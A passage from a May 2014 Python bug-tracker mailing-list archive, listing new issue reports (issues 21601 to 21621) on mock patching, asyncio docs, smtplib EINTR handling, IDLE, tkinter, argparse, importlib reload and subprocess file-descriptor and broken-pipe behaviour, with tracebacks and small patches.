test_samp3 (__main__.SampTestCase) ... foo_mod=<Mock id='19182096'>
myfunc foo=<Mock id='19152464'>
FAIL
>>> stopall patch

======================================================================
FAIL: test_samp2 (__main__.SampTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "test_samp.py", line 27, in test_samp2
    self.assertEqual(self.foo_mod, self.test_sampmod.myfunc())
AssertionError: <Mock id='19152592'> != <Mock id='19152464'>

======================================================================
FAIL: test_samp3 (__main__.SampTestCase)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "test_samp.py", line 30, in test_samp3
    self.assertEqual(self.foo_mod, self.test_sampmod.myfunc())
AssertionError: <Mock id='19182096'> != <Mock id='19152464'>

----------------------------------------------------------------------
Ran 3 tests in 0.003s

FAILED (failures=2)
$

----------
components: Tests
messages: 219331
nosy: kakuma
priority: normal
severity: normal
status: open
title: mock.patch.stopall doesn't work with patch.dict to sys.modules
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21600>
_______________________________________

From report at bugs.python.org  Thu May 29 07:08:32 2014
From: report at bugs.python.org (Vajrasky Kok)
Date: Thu, 29 May 2014 05:08:32 +0000
Subject: [New-bugs-announce] [issue21601] Cancel method for Asyncio Task is
	not documented
Message-ID: <1401340112.56.0.394123736.issue21601@psf.upfronthosting.co.za>


New submission from Vajrasky Kok:

https://docs.python.org/3.5/library/asyncio-task.html#task

The cancel method is not documented although it is a part of public API. Here is the patch to fix the doc.

----------
assignee: docs at python
components: Documentation
files: fix_doc_asyncio_task.patch
keywords: patch
messages: 219333
nosy: docs at python, haypo, vajrasky
priority: normal
severity: normal
status: open
title: Cancel method for Asyncio Task is not documented
versions: Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35397/fix_doc_asyncio_task.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21601>
_______________________________________

From report at bugs.python.org  Thu May 29 07:44:38 2014
From: report at bugs.python.org (Syou Ei)
Date: Thu, 29 May 2014 05:44:38 +0000
Subject: [New-bugs-announce] [issue21602] smtplib.py
	socket.create_connection() also doesn't	handle EINTR properly
Message-ID: <1401342278.7.0.65197779911.issue21602@psf.upfronthosting.co.za>


New submission from Syou Ei:

The smtplib.py also has the same problem.
The EINTR cannot be handled properly.

2014-05-21 19:20:15,631 ERROR actions: Notification 'socket_noti' FAILED to send emails to set(['mailtest at tscoss.com']): <class 'socket.error'> - [Errno 4] Interrupted system calltrace:Traceback (most recent call last):
  File "Utils.py", line 719, in sendEmail
    server = smtplib.SMTP(host, port, timeout=DEFAULT_SOCKET_TIMEOUT)
  File "/opt/zenoss/lib/python2.7/smtplib.py", line 242, in __init__
    (code, msg) = self.connect(host, port)
  File "/opt/zenoss/lib/python2.7/smtplib.py", line 302, in connect
    self.sock = self._get_socket(host, port, self.timeout)
  File "/opt/zenoss/lib/python2.7/smtplib.py", line 277, in _get_socket
    return socket.create_connection((port, host), timeout)
  File "/opt/zenoss/lib/python2.7/Write failed: Broken pipecreate_connection

----------
components: Library (Lib)
messages: 219334
nosy: flox, gregory.p.smith, haypo, meishao, neologix, pitrou, tholzer
priority: normal
severity: normal
status: open
title: smtplib.py socket.create_connection() also doesn't handle EINTR properly
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21602>
_______________________________________

From report at bugs.python.org  Thu May 29 09:41:12 2014
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 29 May 2014 07:41:12 +0000
Subject: [New-bugs-announce] [issue21603] IDLE SaveAs drops the extension in
	the prompted filename
Message-ID: <1401349272.89.0.982652468131.issue21603@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

In IDLE, edit and save a file foo.py.
Then choose File SaveAs.
The dialog box only shows "foo", not "foo.py"
which is irritating when renaming a file or saving a variant of a file.

----------
components: IDLE
messages: 219338
nosy: rhettinger
priority: normal
severity: normal
status: open
title: IDLE SaveAs drops the extension in the prompted filename
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21603>
_______________________________________

From report at bugs.python.org  Thu May 29 10:41:08 2014
From: report at bugs.python.org (=?utf-8?q?Wilfried_L=C3=BCbbe?=)
Date: Thu, 29 May 2014 08:41:08 +0000
Subject: [New-bugs-announce] [issue21604] Misleading 2to3 fixer name in
	documentation:	standard_error
Message-ID: <1401352868.06.0.396054178232.issue21604@psf.upfronthosting.co.za>


New submission from Wilfried L?bbe:

The documentation https://docs.python.org/2/library/2to3.html#2to3fixer-standard_error calls the fixer "standard_error". But really its name is "standarderror" (the filename is "fix_standarderror.py").

Py3.4.1 and Py3.4 docs are the same: https://docs.python.org/3.4/library/2to3.html#2to3fixer-standard_error
https://docs.python.org/3.5/library/2to3.html#2to3fixer-standard_error

----------
assignee: docs at python
components: Documentation
messages: 219341
nosy: docs at python, wluebbe
priority: normal
severity: normal
status: open
title: Misleading 2to3 fixer name in documentation: standard_error
versions: Python 2.7, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21604>
_______________________________________

From report at bugs.python.org  Thu May 29 16:22:43 2014
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 May 2014 14:22:43 +0000
Subject: [New-bugs-announce] [issue21605] Add tests for Tkinter images
Message-ID: <1401373363.46.0.186205839089.issue21605@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Proposed patch adds tests for tkinter's classes BitmapImage and PhotoImage. Some tests are temporary skipped until resolving issue21580.

----------
assignee: serhiy.storchaka
components: Tests, Tkinter
files: tkinter_test_images.patch
keywords: patch
messages: 219345
nosy: serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Add tests for Tkinter images
type: enhancement
versions: Python 2.7, Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35401/tkinter_test_images.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21605>
_______________________________________

From report at bugs.python.org  Thu May 29 16:51:55 2014
From: report at bugs.python.org (rovf)
Date: Thu, 29 May 2014 14:51:55 +0000
Subject: [New-bugs-announce] [issue21606] No visual feedback when entering
	japanese Characters in	Entry widget
Message-ID: <1401375115.8.0.444639953801.issue21606@psf.upfronthosting.co.za>


New submission from rovf:

When I enter Japanese text in a tkinter entry widget, I don't get any visual feedback while typing; in particular, I don't get the Kanji selection box of the Kotaeri input method, which makes it impossible to choose the correct Kanji (try, for example, to type the words ??, ?? and ?? in a tkinter entry field). The only possibility is to enter the text in, say, a text editor and then copy them to the tkinter entry widget.

The error is specific to Mac OSX (at least to version 10.6). It does not occur on Windows.

----------
components: Tkinter
messages: 219347
nosy: rovf
priority: normal
severity: normal
status: open
title: No visual feedback when entering japanese Characters in Entry widget
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21606>
_______________________________________

From report at bugs.python.org  Thu May 29 18:20:10 2014
From: report at bugs.python.org (Sasha Ovsankin)
Date: Thu, 29 May 2014 16:20:10 +0000
Subject: [New-bugs-announce] [issue21607] results of `zip` are displayed as
	'<zip object at	0xxxxxx>
Message-ID: <1401380410.21.0.601003685212.issue21607@psf.upfronthosting.co.za>


New submission from Sasha Ovsankin:

Python 3.4.0 (default, May 20 2014, 20:42:24)
[GCC 4.2.1 Compatible Apple LLVM 5.1 (clang-503.0.40)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> zip([1, 2, 3], ["a", "b", "c"])
<zip object at 0x1017c79c8>
>>>


Python 2.7.5 (default, Mar  9 2014, 22:15:05)
[GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.0.68)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> zip([1, 2, 3], ["a", "b", "c"])
[(1, 'a'), (2, 'b'), (3, 'c')]

----------
components: Library (Lib)
messages: 219348
nosy: Sasha.Ovsankin
priority: normal
severity: normal
status: open
title: results of `zip` are displayed as '<zip object at 0xxxxxx>
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21607>
_______________________________________

From report at bugs.python.org  Thu May 29 22:43:15 2014
From: report at bugs.python.org (Bikram Zesto II)
Date: Thu, 29 May 2014 20:43:15 +0000
Subject: [New-bugs-announce] [issue21608]
	logging.handlers.HTTPHandler.setFormatter() has no effect
Message-ID: <1401396195.13.0.00625347928702.issue21608@psf.upfronthosting.co.za>


New submission from Bikram Zesto II:

HTTPHandler instance will assign a Formatter to format() but emit() never calls self.format(record) so it has no effect. I know mapLogRecord() does something like this now but would like to reuse Formatters across Handlers instead of subclassing HTTPHandler just for HTTP logging.

Does it make sense to assign mapLogRecord by default to self.format but allow it to be over-ridden like other Handlers?

----------
components: Library (Lib)
messages: 219365
nosy: bk2zsto
priority: normal
severity: normal
status: open
title: logging.handlers.HTTPHandler.setFormatter() has no effect
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21608>
_______________________________________

From report at bugs.python.org  Thu May 29 23:03:13 2014
From: report at bugs.python.org (Miquel Garcia)
Date: Thu, 29 May 2014 21:03:13 +0000
Subject: [New-bugs-announce] [issue21609] Documentation for
	datetime.datetime uses microseconds	instead of microsecond
Message-ID: <1401397393.28.0.277127762562.issue21609@psf.upfronthosting.co.za>


New submission from Miquel Garcia:

In browsing the documentation for datetime.datetime:

https://docs.python.org/2/library/datetime.html

It states that the datetime.datetime.microseconds returns the number of microseconds but in trying (Python 2.7.1 r271:86832):

import datetime
print datetime.datetime.now().microseconds

The interpreter returns 

AttributeError: 'datetime.datetime' object has no attribute 'microseconds'

The correct way to access the number of microseconds is by:

datetime.datetime.now().microsecond # Note the final 's'

which is not consistent with the documentation.

Many thanks

Miquel

----------
assignee: docs at python
components: Documentation
messages: 219366
nosy: Miquel.Garcia, docs at python
priority: normal
severity: normal
status: open
title: Documentation for datetime.datetime uses microseconds instead of microsecond
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21609>
_______________________________________

From report at bugs.python.org  Thu May 29 23:10:42 2014
From: report at bugs.python.org (mattip)
Date: Thu, 29 May 2014 21:10:42 +0000
Subject: [New-bugs-announce] [issue21610] load_module not closing opened
	files
Message-ID: <1401397842.84.0.0447434593999.issue21610@psf.upfronthosting.co.za>


New submission from mattip:

imputil and modulefinder are opening files but not actively closing them. This causes problems for pypy and is not clean.

----------
components: Library (Lib)
files: close_fp_2.7.patch
keywords: patch
messages: 219367
nosy: mattip
priority: normal
severity: normal
status: open
title: load_module not closing opened files
type: resource usage
versions: Python 2.7
Added file: http://bugs.python.org/file35405/close_fp_2.7.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21610>
_______________________________________

From report at bugs.python.org  Fri May 30 10:58:55 2014
From: report at bugs.python.org (Dmitry Andreychuk)
Date: Fri, 30 May 2014 08:58:55 +0000
Subject: [New-bugs-announce] [issue21611] int() docstring - unclear what
	number is
Message-ID: <1401440335.97.0.776400017562.issue21611@psf.upfronthosting.co.za>


New submission from Dmitry Andreychuk:

https://docs.python.org/3.4/library/functions.html?highlight=int#int

The docstring for int() function has these sentences:
"If x is a number, return x.__int__()."
"If x is not a number or if base is given..."

Unfortunately the docstring doesn't describe how the function decides if x is a number or not.

After searching and experimenting I came to conclusion that it is the presence of x.__int__() method makes int() treat x as a number. But I'm not sure it's a precise requirement or just something that happens to work with current implementation.

I think there should be a precise definition of what is considered to be a number there.

----------
assignee: docs at python
components: Documentation
messages: 219379
nosy: and, docs at python
priority: normal
severity: normal
status: open
title: int() docstring - unclear what number is
versions: Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21611>
_______________________________________

From report at bugs.python.org  Fri May 30 16:40:39 2014
From: report at bugs.python.org (irdb)
Date: Fri, 30 May 2014 14:40:39 +0000
Subject: [New-bugs-announce] [issue21612] IDLE should should not open
	multiple instances of one	file
Message-ID: <1401460839.49.0.839937941889.issue21612@psf.upfronthosting.co.za>


New submission from irdb:

Currently users can open multiple instances of one file in IDLE. Sometimes this leads to confusion and may cause loss of data. I'm not aware of any benefits of this behavior and I think it's better to be prevented by IDLE.

Here are the steps to recreate the situation:
1. Create a file named "xyz.py"
2. Right-click on the file and open it with IDLE
3. Add some text
4. Goto 2.
5. Save and close both open IDLE windows.
(Your work on the first saved file will be lost.)

----------
components: IDLE
messages: 219392
nosy: irdb
priority: normal
severity: normal
status: open
title: IDLE should should not open multiple instances of one file

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21612>
_______________________________________

From report at bugs.python.org  Fri May 30 16:57:01 2014
From: report at bugs.python.org (Artem Ustinov)
Date: Fri, 30 May 2014 14:57:01 +0000
Subject: [New-bugs-announce] [issue21613] Installer for mac doesn't store
	the installation location
Message-ID: <1401461821.06.0.907126667727.issue21613@psf.upfronthosting.co.za>


New submission from Artem Ustinov:

I'm trying to automate the Python uninstallation on mac but I've found that the actual installation location is not stored for Python packages.
That location is required since the pkgutil keeps track of installed files (if you run $ pkgutil --files org.python.Python.PythonFramework-3.4) but doesn't store the absolute paths for that files.


1. Run $ pkgutil --pkgs=.*Python.*3\.4
Here's the expected output
org.python.Python.PythonApplications-3.4
org.python.Python.PythonDocumentation-3.4
org.python.Python.PythonFramework-3.4
org.python.Python.PythonInstallPip-3.4
org.python.Python.PythonProfileChanges-3.4
org.python.Python.PythonUnixTools-3.4

2. Run $ pkgutil --pkg-info org.python.Python.PythonFramework-3.4
Here's the output
package-id: org.python.Python.PythonFramework-3.4
version: 3.4.1
volume: /
location: (null)
install-time: 1401373546

Actual Result: The location property is (null)
Expected Result: The location property should be '/Library/Frameworks/Python.framework'

----------
assignee: ronaldoussoren
components: Installation, Macintosh
messages: 219393
nosy: ronaldoussoren, ustinov
priority: normal
severity: normal
status: open
title: Installer for mac doesn't store the installation location
type: behavior
versions: Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21613>
_______________________________________

From report at bugs.python.org  Fri May 30 21:55:49 2014
From: report at bugs.python.org (Colin Davidson)
Date: Fri, 30 May 2014 19:55:49 +0000
Subject: [New-bugs-announce] [issue21614] Case sensitivity problem in
	multiprocessing.
Message-ID: <1401479749.7.0.550679517464.issue21614@psf.upfronthosting.co.za>


New submission from Colin Davidson:

On windows 7, if a Python app is run (under python 2.7.6) and the invoking filename is capitalized differently from the source file itself, a subsequent attempt to use the multiprocessing module to "fork" a process will fail in the "forking" module. This happens because the fopen at line 1559 in import.c (in the "imp" module find_module method) uses the invoking capitalization, rather than the file capitalization and fails to open the file.

The traceback gives lines 380 then 489 in forking.py, but as noted, the problem is in import.c (or in the Python startup, which could convert the capitalization...).

----------
components: Interpreter Core, Windows
messages: 219423
nosy: ColinPDavidson
priority: normal
severity: normal
status: open
title: Case sensitivity problem in multiprocessing.
type: crash
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21614>
_______________________________________

From report at bugs.python.org  Fri May 30 22:02:03 2014
From: report at bugs.python.org (Richard s. Gordon)
Date: Fri, 30 May 2014 20:02:03 +0000
Subject: [New-bugs-announce] [issue21615] Curses bug report for Python 2.7
	and Python 3.2
Message-ID: <F67AE7B5-17CD-4FF2-92DA-27153389C62D@comcast.net>


New submission from Richard s. Gordon:

Curses bug report for Python 2.7 and Python 3.2

My Python code outputs text properly with xterm and xterm-16color. It does not work properly with xterm-88color and xterm-256color (after defining RGB color pallet) when run on Python-2.7 and Python-3.2 on Cygwin with Windows 7 Pro, Ubuntu Linux 12.04, Mac OS X 10.9.3 and PS-BSD 10.

For text output to xterm-88color and xterm-256color Python generates unique colors that are plagued by the wrong color and underline artifacts.

			xterm-16color			xterm-16color			xterm-88color						xterm-256color
			==========			==========			==========						===========
Region 1		cyan on black			cyan on black			cyan on olive with underlines			cyan on purple with underlines
Region 2		white on black			white on black			navy on black						white on orange
Region 3		yellow on black		yellow on black		magenta on black with underlines		navy on black with underlines

Some of my test platform terminals (such as iTerm2 on my iMac desktop system running Mac OSX Mavericks 10.9.3) default to xterm-256color and presumably already have Python 2.7.5 built for 256 color. I downloaded and built Python 3.2.2. 

My Python test code works properly with xterm and xterm-16color. Both display the wrong colors, some with underlines when run with xterm-88color and xterm-256color.

Any solutions or suggestions?

Richard S. Gordon

----------
messages: 219425
nosy: eclectic9509
priority: normal
severity: normal
status: open
title: Curses bug report for Python 2.7 and Python 3.2

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21615>
_______________________________________

From report at bugs.python.org  Sat May 31 00:01:40 2014
From: report at bugs.python.org (Vasilis Vasaitis)
Date: Fri, 30 May 2014 22:01:40 +0000
Subject: [New-bugs-announce] [issue21616] argparse explodes with nargs='*'
	and a tuple metavar
Message-ID: <1401487300.75.0.673087061626.issue21616@psf.upfronthosting.co.za>


New submission from Vasilis Vasaitis:

The title says it all really, but to demostrate: Let's say I'm building a program which takes another command as its argument(s) on the command line, to execute it in a special way or whatever. The natural way to do this then would be something like the following:

    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('cmd', nargs='*')
    parser.parse_args()

Which gives the following output with -h:

    usage: nargs.py [-h] [cmd [cmd ...]]

    positional arguments:
      cmd

    optional arguments:
      -h, --help  show this help message and exit

Now, let's say I want to have 'command' printed in the help output, but still write the shorter 'cmd' in the code. Naturally I would make use of the metavar feature:

    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('cmd', nargs='*', metavar='command')
    parser.parse_args()

So now the help output is:

    usage: nargs.py [-h] [command [command ...]]

    positional arguments:
      command

    optional arguments:
      -h, --help  show this help message and exit

That's better, but I don't really want it to say 'command' twice there, it's more like a command and then its arguments. So what about a tuple instead?

    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('cmd', nargs='*', metavar=('command', 'arguments'))
    parser.parse_args()

So let's see what happens now with -h:

    Traceback (most recent call last):
      File "/Users/Vasilis/Sources/Tests/nargs.py", line 6, in <module>
        parser.parse_args()
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 1717, in parse_args
        args, argv = self.parse_known_args(args, namespace)
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 1749, in parse_known_args
        namespace, args = self._parse_known_args(args, namespace)
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 1955, in _parse_known_args
        start_index = consume_optional(start_index)
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 1895, in consume_optional
        take_action(action, args, option_string)
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 1823, in take_action
        action(self, namespace, argument_values, option_string)
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 1016, in __call__
        parser.print_help()
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 2348, in print_help
        self._print_message(self.format_help(), file)
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 2325, in format_help
        formatter.add_arguments(action_group._group_actions)
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 272, in add_arguments
        self.add_argument(action)
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 257, in add_argument
        invocations = [get_invocation(action)]
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 535, in _format_action_invocation
        metavar, = self._metavar_formatter(action, default)(1)
    ValueError: too many values to unpack (expected 1)

Hm, that didn't go very well. Perhaps I can try with a single element in the tuple, as the exception seems to suggest:

    import argparse
    parser = argparse.ArgumentParser()
    parser.add_argument('cmd', nargs='*', metavar=('command',))
    parser.parse_args()

Any better?

    Traceback (most recent call last):
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 1334, in add_argument
        self._get_formatter()._format_args(action, None)
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 579, in _format_args
        result = '[%s [%s ...]]' % get_metavar(2)
    TypeError: not enough arguments for format string

    During handling of the above exception, another exception occurred:

    Traceback (most recent call last):
      File "/Users/Vasilis/Sources/Tests/nargs.py", line 5, in <module>
        parser.add_argument('cmd', nargs='*', metavar=('command',))
      File "/usr/local/Cellar/python3/3.4.0/Frameworks/Python.framework/Versions/3.4/lib/python3.4/argparse.py", line 1336, in add_argument
        raise ValueError("length of metavar tuple does not match nargs")
    ValueError: length of metavar tuple does not match nargs

No, not really.

So there you have it. I think the two-element-tuple example should do the right thing (print "[command [arguments ...]]"). But if not, at least *some* kind of tuple should work without raising an exception.

Apart from 3.4, I see precisely the same behaviour with Python 2.7 too. I haven't tested with any other version I'm afraid.

----------
components: Library (Lib)
messages: 219429
nosy: vvas
priority: normal
severity: normal
status: open
title: argparse explodes with nargs='*' and a tuple metavar
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21616>
_______________________________________

From report at bugs.python.org  Sat May 31 03:56:36 2014
From: report at bugs.python.org (Ned Deily)
Date: Sat, 31 May 2014 01:56:36 +0000
Subject: [New-bugs-announce] [issue21617] importlib reload can fail with
	AttributeError if module	removed from sys.path
Message-ID: <1401501396.28.0.0719854991231.issue21617@psf.upfronthosting.co.za>


New submission from Ned Deily:

There are significant differences in behavior between Python 2.7, 3.3, and 3.4 (or current default) when using import reload() while manipulating sys.path.  These differences cause unexpected behavior in the "Run Script" command of the TextMate 2 editor's Python bundle.  TM2's Python "Run Script" is designed to work with either Python 2 or 2 interpreters.  To do things like capture script stdout and stderr, the bundle launches a Python interpreter while prepending a directory with a custom sitecustomize module to sys.path.  The TM2 sitecustomize then removes its directory from sys.path and uses reload to attempt to import any existing sitecustomize module.  It then proceeds to do its TM2 customizations.  In simplified pseudo-code:

# TM_DIRECTORY/sitecustomize.py
import sys
# remove this copy of sitecustomize from import path
if "TM_DIRECTORY" in sys.path:
    sys.path.remove("TM_DIRECTORY")
try:
    import sitecustomize    # get module reference
    if sys.version_info[0] >= 3:
        from imp import reload
    reload(sitecustomize)   # try to import another
                            # using altered path
except ImportError:
    pass                    # no other sitecustomize found
# do TM2 customizations here
# ...

this seems to work just fine with Python 2.7.  With Python 3.3 the reload causes the originally imported sitecustomize to be used again, regardless of whether another sitecustomize exists on sys.path.  For Python 3.4, 1d67eb1df5a9 for Issue19851 changed reloading.  Now for 3.4 (and default), if another sitecustomize exists on sys.path, the behavior is as expected as in 2.7: the other sitecustomize is imported by reload and executes.  However, if there is no other sitecustomize, 3.4/default now gets an AttributeError exception in reload, rather than the expected ImportError.  Enabling PYTHONVERBOSE shows:

  File "./lib/python3.5/importlib/__init__.py", line 148, in reload
    _bootstrap._exec(spec, module)
  File "<frozen importlib._bootstrap>", line 1083, in _exec
AttributeError: 'NoneType' object has no attribute 'name'

And this is due to the call in reload() to _bootstrap._find_spec() returning None (Lib/importlib/__init__.py:147), presumably since there no longer is a sitecustomize.
It looks like the following patch fixes the problem for this case:

diff --git a/Lib/importlib/__init__.py b/Lib/importlib/__init__.py
--- a/Lib/importlib/__init__.py
+++ b/Lib/importlib/__init__.py
@@ -145,6 +145,9 @@
             pkgpath = None
         target = module
         spec = module.__spec__ = _bootstrap._find_spec(name, pkgpath, target)
+        if not spec:
+            msg = "module {} cannot be reloaded"
+            raise ImportError(msg.format(name), name=name)
         _bootstrap._exec(spec, module)
         # The module may have replaced itself in sys.modules!
         return sys.modules[name]

I'm not sure if this is a correct or sufficient change in the general case.

http://stackoverflow.com/questions/23962319/error-output-in-textmate-2-using-python-3-4

----------
files: test_sitecustomize.sh
messages: 219436
nosy: brett.cannon, eric.snow, ned.deily
priority: normal
severity: normal
status: open
title: importlib reload can fail with AttributeError if module removed from sys.path
versions: Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35416/test_sitecustomize.sh

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21617>
_______________________________________

From report at bugs.python.org  Sat May 31 06:24:41 2014
From: report at bugs.python.org (Steven Stewart-Gallus)
Date: Sat, 31 May 2014 04:24:41 +0000
Subject: [New-bugs-announce] [issue21618] POpen does not close fds when fds
	have been inherited	from a process with a higher resource limit
Message-ID: <1401510281.2.0.0561893965896.issue21618@psf.upfronthosting.co.za>


New submission from Steven Stewart-Gallus:

The sysconf(_SC_OPEN_MAX) approach to closing fds is kind of flawed. It is kind of hacky and slow (see http://bugs.python.org/issue1663329). Moreover, this approach is incorrect as fds can be inherited from previous processes that have had higher resource limits. This is especially important because this is a possible security problem. I would recommend using the closefrom system call on BSDs or the /dev/fd directory on BSDs and /proc/self/fd on Linux (remember not to close fds as you read directory entries from the fd directory as that gives weird results because you're concurrently reading and modifying the entries in the directory at the same time). A C program that illustrates the problem of inheriting fds past lowered resource limits is shown below.

#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <sys/resource.h>

int main() {
    struct rlimit const limit = {
        .rlim_cur = 0,
        .rlim_max = 0
    };
    if (-1 == setrlimit(RLIMIT_NOFILE, &limit)) {
        fprintf(stderr, "error: %s\n", strerror(errno));
        exit(EXIT_FAILURE);
    }

    puts("Printing to standard output even though the resource limit is lowered past standard output's number!");

    return EXIT_SUCCESS;
}

----------
messages: 219440
nosy: sstewartgallus
priority: normal
severity: normal
status: open
title: POpen does not close fds when fds have been inherited from a process with a higher resource limit

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21618>
_______________________________________

From report at bugs.python.org  Sat May 31 14:57:05 2014
From: report at bugs.python.org (Martin Panter)
Date: Sat, 31 May 2014 12:57:05 +0000
Subject: [New-bugs-announce] [issue21619] Cleaning up a subprocess with a
	broken pipe
Message-ID: <1401541025.39.0.6743321007.issue21619@psf.upfronthosting.co.za>


New submission from Martin Panter:

The documentation for the ?subprocess? module says that a ?with? statement will ?wait for? the process, implying that it does not leave a zombie. However this is not the case if there is buffered input data:

$ python3 -Wall -bt -q
>>> import subprocess
>>> with subprocess.Popen(("true",), stdin=subprocess.PIPE, bufsize=-1) as p:
...     from time import sleep; sleep(1)  # Wait for pipe to be broken
...     p.stdin.write(b"buffered data")
... 
13
Traceback (most recent call last):
  File "<stdin>", line 3, in <module>
  File "/usr/lib/python3.4/subprocess.py", line 899, in __exit__
    self.stdin.close()
BrokenPipeError: [Errno 32] Broken pipe
>>> # (Hit Ctrl-Z here)
[1]+  Stopped                 python3 -Wall -bt -q
[Exit 148]
$ ps
  PID TTY          TIME CMD
15867 pts/5    00:00:00 python3
15869 pts/5    00:00:00 true <defunct>
15873 pts/5    00:00:00 ps
32227 pts/5    00:00:10 bash

Similarly, calling Popen.communicate() does not clean the process up either if there is buffered input data and the process has already exited. The documentation does not spell out how a broken pipe is handled in communicate(), but after reading Issue 10963 I see that in many other cases it is meant to be ignored.

The best way to clean up a subprocess that I have come up with to close the pipe(s) and call wait() in two separate steps, such as:

try:
    proc.stdin.close()
except BrokenPipeError:
    pass
proc.wait()

----------
components: Library (Lib)
messages: 219450
nosy: vadmium
priority: normal
severity: normal
status: open
title: Cleaning up a subprocess with a broken pipe
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21619>
_______________________________________

From report at bugs.python.org  Sat May 31 17:51:12 2014
From: report at bugs.python.org (Matthew Lauria)
Date: Sat, 31 May 2014 15:51:12 +0000
Subject: [New-bugs-announce] [issue21620] OrderedDict KeysView set
	operations not supported
Message-ID: <1401551472.98.0.0437808757217.issue21620@psf.upfronthosting.co.za>


New submission from Matthew Lauria:

I noticed that doing set operations on an OrderedDict KeysView only works when the KeysView is the first input to the expression, and not when it's the second input. This is not the case for dicts.

Python 3.4.1 (default, May 31 2014, 11:25:02) 
[GCC 4.8.2] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import collections
>>> x = collections.OrderedDict()
>>> x.keys() - set()
set()
>>> set() - x.keys()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for -: 'set' and 'KeysView'

>>> y = {}
>>> y.keys() - set()
set()
>>> set() - y.keys()
set()

----------
components: Library (Lib)
messages: 219454
nosy: Matthew.Lauria, rhettinger
priority: normal
severity: normal
status: open
title: OrderedDict KeysView set operations not supported
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21620>
_______________________________________

From report at bugs.python.org  Sat May 31 22:03:08 2014
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 31 May 2014 20:03:08 +0000
Subject: [New-bugs-announce] [issue21621] Add note to 3.x What's New re Idle
	changes in bugfix	releases
Message-ID: <1401566588.31.0.436459410689.issue21621@psf.upfronthosting.co.za>


New submission from Terry J. Reedy:

In #21569, revising What's New for 2.7, Nick is planning to add the following:

+PEP 434: IDLE Enhancement Exception for All Branches
+----------------------------------------------------
+
+:pep:`434` describes a general exemption for changes made to the IDLE
+development environment shipped along with Python. This exemption makes it
+possible for the IDLE developers to provide a more consistent user
+experience across all supported versions of Python 2 and 3.
+
